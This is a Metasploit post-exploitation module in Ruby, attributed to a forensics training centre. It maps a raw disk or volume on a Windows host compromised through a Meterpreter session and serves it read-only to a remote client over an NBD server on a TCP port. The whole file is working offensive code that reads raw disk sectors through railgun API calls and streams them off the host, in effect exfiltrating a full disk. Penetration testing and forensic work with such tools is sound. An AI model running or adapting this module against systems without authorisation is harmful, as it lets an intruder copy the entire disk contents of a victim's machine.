metasploit-framework/modules/post/windows/manage/nbd_server.rb

113 lines
3.6 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# Maps remote disks and logical volumes to a local Network Block Device
# server. Allows for forensic tools to be executed on the remote disk
# directly.
#
# R. Wesley McGrew wesley@mcgrewsecurity.com
# http://mcgrewsecurity.com
# Mississippi State University National Forensics Training Center
# http://msu-nftc.org
class Metasploit < Msf::Post
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Local NBD Server for Remote Disks',
'Description' => %q{Maps remote disks and logical volumes to a local Network Block
Device server. Allows for forensic tools to be executed on the remote disk directly.},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Wesley McGrew <wesley[at]mcgrewsecurity.com>']
))
register_options(
[
OptString.new('DEVICE',[true,'Device to map (use enum_drives for possible names)',nil]),
OptString.new('NBDIP',[false,'IP address for NBD server','0.0.0.0']),
OptInt.new('NBDPORT',[false,'TCP port for NBD server',10005]),
], self.class)
end
def run
ip_addr = datastore['NBDIP']
port = datastore['NBDPORT']
devname = datastore['DEVICE']
invalid_handle_value = 0xFFFFFFFF
invalid_set_file_pointer = 0xFFFFFFFF
fsctl_allow_extended_dasd_io = 0x00090083
ioctl_disk_get_drive_geometry_ex = 0x000700A0
r = client.railgun.kernel32.CreateFileA(devname, "GENERIC_READ",
0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
handle = r['return']
r = client.railgun.kernel32.DeviceIoControl(handle,fsctl_allow_extended_dasd_io,nil,0,0,0,4,nil)
ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex,
"",0,200,200,4,"")
if ioctl['GetLastError'] == 6
ioctl = client.railgun.kernel32.DeviceIoControl(handle,ioctl_disk_get_drive_geometry_ex,
"",0,200,200,4,"")
end
geometry = ioctl['lpOutBuffer']
disk_size = geometry[24,31].unpack('Q')[0]
socket = Rex::Socket::TcpServer.create({'LocalHost'=>ip_addr,'LocalPort'=>port})
print_status("Listening on #{ip_addr}:#{port}")
print_status("Serving #{devname} (#{disk_size} bytes)")
rsock = socket.accept()
print_status("Accepted a connection")
# Negotiation
rsock.put('NBDMAGIC')
rsock.put("\x00\x00\x42\x02\x81\x86\x12\x53")
rsock.put([disk_size].pack("Q").reverse)
rsock.put("\x00\x00\x00\x03") # Read-only
rsock.put("\x00"*124)
print_line("Sent negotiation")
while true
request = rsock.read(28)
unless request
print_error("No data received")
break
end
magic, request, nbd_handle, offset_n, length = request.unpack("NNa8a8N")
if magic != 0x25609513
print_error("Wrong magic number")
break
end
if request == 2
break
end
if request == 1
print_error("Attempted write on a read-only nbd")
break
end
if request == 0
client.railgun.kernel32.SetFilePointer(handle,offset_n[4,7].unpack('N')[0],
offset_n[0,4].unpack('N')[0],0)
rsock.put("gDf\x98\x00\x00\x00\x00")
rsock.put(nbd_handle)
data = client.railgun.kernel32.ReadFile(handle,length,length,4,nil)['lpBuffer']
rsock.put(data)
end
end
print_status("Closing")
rsock.close()
socket.close()
client.railgun.kernel32.CloseHandle(handle)
end
end